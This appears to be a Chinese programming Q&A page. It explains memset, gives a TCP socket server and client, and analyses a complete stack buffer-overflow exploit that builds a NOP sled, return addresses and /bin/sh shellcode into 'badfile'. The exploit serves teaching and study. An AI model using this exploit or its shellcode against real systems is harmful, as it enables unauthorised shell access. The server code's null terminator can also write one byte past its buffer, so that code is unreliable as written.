memset(macInput, 0, MAC_INPUT_BUFFER_SIZE * sizeof(int32_t));

时间: 2024-09-09 21:02:28 浏览: 40
`memset` 是 C 语言标准库函数,用于将一块内存区域的内容设置为特定的值。该函数定义在 `<string.h>` 头文件中。其原型为: ```c void *memset(void *s, int c, size_t n); ``` - `s` 是指向需要填充的内存块的指针。 - `c` 是要设置的值,该值会被转换为 `unsigned char` 类型。 - `n` 是要填充的字节数。 对于您提供的代码行: ```c memset(macInput, 0, MAC_INPUT_BUFFER_SIZE * sizeof(int32_t)); ``` 这行代码的作用是将 `macInput` 指向的内存区域的前 `MAC_INPUT_BUFFER_SIZE * sizeof(int32_t)` 个字节全部设置为 `0`。这里假设 `macInput` 是一个指向某种类型数组的指针,`MAC_INPUT_BUFFER_SIZE` 是数组的元素个数,`sizeof(int32_t)` 表示一个 `int32_t` 类型所占的字节数,通常 `int32_t` 就是32位整型,所占4字节。 具体来说,如果 `MAC_INPUT_BUFFER_SIZE` 为10,那么 `MAC_INPUT_BUFFER_SIZE * sizeof(int32_t)` 就等于40字节,`memset` 会将 `macInput` 指向的内存区域的前40个字节全部填充为 `0`。
相关问题

补全这段代码#include <sys/socket.h> #include <netinet/in.h> /* 创建一个套接字 */ int socket(int domain, int type, int protocol); /* 绑定套接字到指定地址和端口 */ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); /* 监听来自客户端的连接 */ int listen(int sockfd, int backlog); /* 接受客户端的连接请求 */ int accept(int sockfd, struct sockaddr *addr, socklen_t addrlen); /* 发送数据 */ ssize_t send(int sockfd, const void *buf, size_t len, int flags); /* 接收数据 */ ssize_t recv(int sockfd, void *buf, size_t len, int flags); /* 关闭套接字 */ int close(int fd); /* 连接到指定的服务器 */ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

这段代码是关于网络编程的基础函数,其中缺失的部分是具体的参数和调用方式。下面是一个示例程序,演示了如何使用这些函数来创建一个服务器和一个客户端,实现简单的网络通信。 服务器端代码: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define SERVER_PORT 8888 #define MAX_PENDING 5 #define MAX_MSG_SIZE 1024 int main(int argc, char *argv[]) { int sockfd, connfd; struct sockaddr_in servaddr, cliaddr; socklen_t cliaddr_len; char buffer[MAX_MSG_SIZE]; // 创建套接字 sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket error"); exit(EXIT_FAILURE); } // 绑定套接字到指定地址和端口 memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(SERVER_PORT); if (bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { perror("bind error"); exit(EXIT_FAILURE); } // 监听来自客户端的连接 if (listen(sockfd, MAX_PENDING) < 0) { perror("listen error"); exit(EXIT_FAILURE); } printf("Server started, waiting for connections...\n"); // 接受客户端的连接请求 cliaddr_len = sizeof(cliaddr); connfd = accept(sockfd, (struct sockaddr *)&cliaddr, &cliaddr_len); if (connfd < 0) { perror("accept error"); exit(EXIT_FAILURE); } printf("Client connected, start receiving messages...\n"); // 接收数据 while (1) { ssize_t n = recv(connfd, buffer, MAX_MSG_SIZE, 0); if (n <= 0) { perror("recv error"); break; } buffer[n] = '\0'; printf("Received message: %s\n", buffer); // 发送数据 if (send(connfd, buffer, n, 0) < 0) { perror("send error"); break; } } // 关闭套接字 close(connfd); close(sockfd); return 0; } ``` 客户端代码: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define SERVER_ADDR "127.0.0.1" #define SERVER_PORT 8888 #define MAX_MSG_SIZE 1024 int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in servaddr; char buffer[MAX_MSG_SIZE]; // 创建套接字 sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket error"); exit(EXIT_FAILURE); } // 连接到指定的服务器 memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(SERVER_ADDR); servaddr.sin_port = htons(SERVER_PORT); if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { perror("connect error"); exit(EXIT_FAILURE); } printf("Connected to server, start sending messages...\n"); // 发送数据 while (1) { printf("Input message: "); fgets(buffer, MAX_MSG_SIZE, stdin); ssize_t n = send(sockfd, buffer, strlen(buffer), 0); if (n < 0) { perror("send error"); break; } // 接收数据 n = recv(sockfd, buffer, MAX_MSG_SIZE, 0); if (n <= 0) { perror("recv error"); break; } buffer[n] = '\0'; printf("Received message: %s\n", buffer); } // 关闭套接字 close(sockfd); return 0; } ```

分析以下代码:#include <stdio.h> #include <stdlib.h> #include <string.h> #define DEFAULT_OFFSET 350 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char **argv) { char buffer[517]; FILE *badfile; char *ptr; long *a_ptr,ret; int offset = DEFAULT_OFFSET; int codeSize = sizeof(shellcode); int buffSize = sizeof(buffer); if(argc > 1) offset = atoi(argv[1]); //allows for command line input ptr=buffer; a_ptr = (long *) ptr; /* Initialize buffer with 0x90 (NOP instruction) */ memset(buffer, 0x90, buffSize); //----------------------BEGIN FILL BUFFER----------------------\\ ret = get_sp()+offset; printf("Return Address: 0x%lx\n",(unsigned long)get_sp()); printf("Address: 0x%lx\n",(unsigned long)ret); ptr = buffer; a_ptr = (long *) ptr; int i; for (i = 0; i < 300;i+=4) { *(a_ptr++) = ret; } for(i = 486;i < codeSize + 486;++i) { buffer[i] = shellcode[i-486]; } buffer[buffSize - 1] = '\0'; //-----------------------END FILL BUFFER-----------------------\\ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer,517,1,badfile); fclose(badfile); }

该程序是一个栈溢出攻击的示例代码,它通过构造恶意输入来利用程序中的缓冲区溢出漏洞,实现执行任意代码的目的。具体来说,该程序在 `main` 函数中定义了一个名为 `buffer` 的字符数组,长度为 517,接着定义了一个名为 `badfile` 的文件指针。在程序中,首先通过调用 `get_sp` 函数获取栈指针的值,并通过加上偏移量 `offset` 计算出返回地址的值,然后将返回地址写入 `buffer` 中,接着将恶意代码 `shellcode` 复制到 `buffer` 中,最后将 `buffer` 中的内容写入名为 `badfile` 的文件中。 在该程序中,攻击者利用了程序中的缓冲区溢出漏洞,通过构造恶意输入,将恶意代码和返回地址写入 `buffer` 中,从而实现执行任意代码的目的。具体来说,攻击者可以通过调整 `offset` 的值来修改返回地址的值,从而控制程序执行时跳转的位置;同时,攻击者还需要构造恶意代码,使其在被执行时能够完成攻击的目的,例如获取系统权限、删除文件等。在该程序中,恶意代码 `shellcode` 实现的功能是以 root 权限执行一个 shell,通过该 shell 可以完成更多的攻击操作。 需要注意的是,该程序是一个示例代码,仅供学习和研究使用,请勿用于非法用途。同时,栈溢出攻击是一种常见的安全漏洞,开发人员需要注意编写安全的代码,避免出现缓冲区溢出等漏洞。
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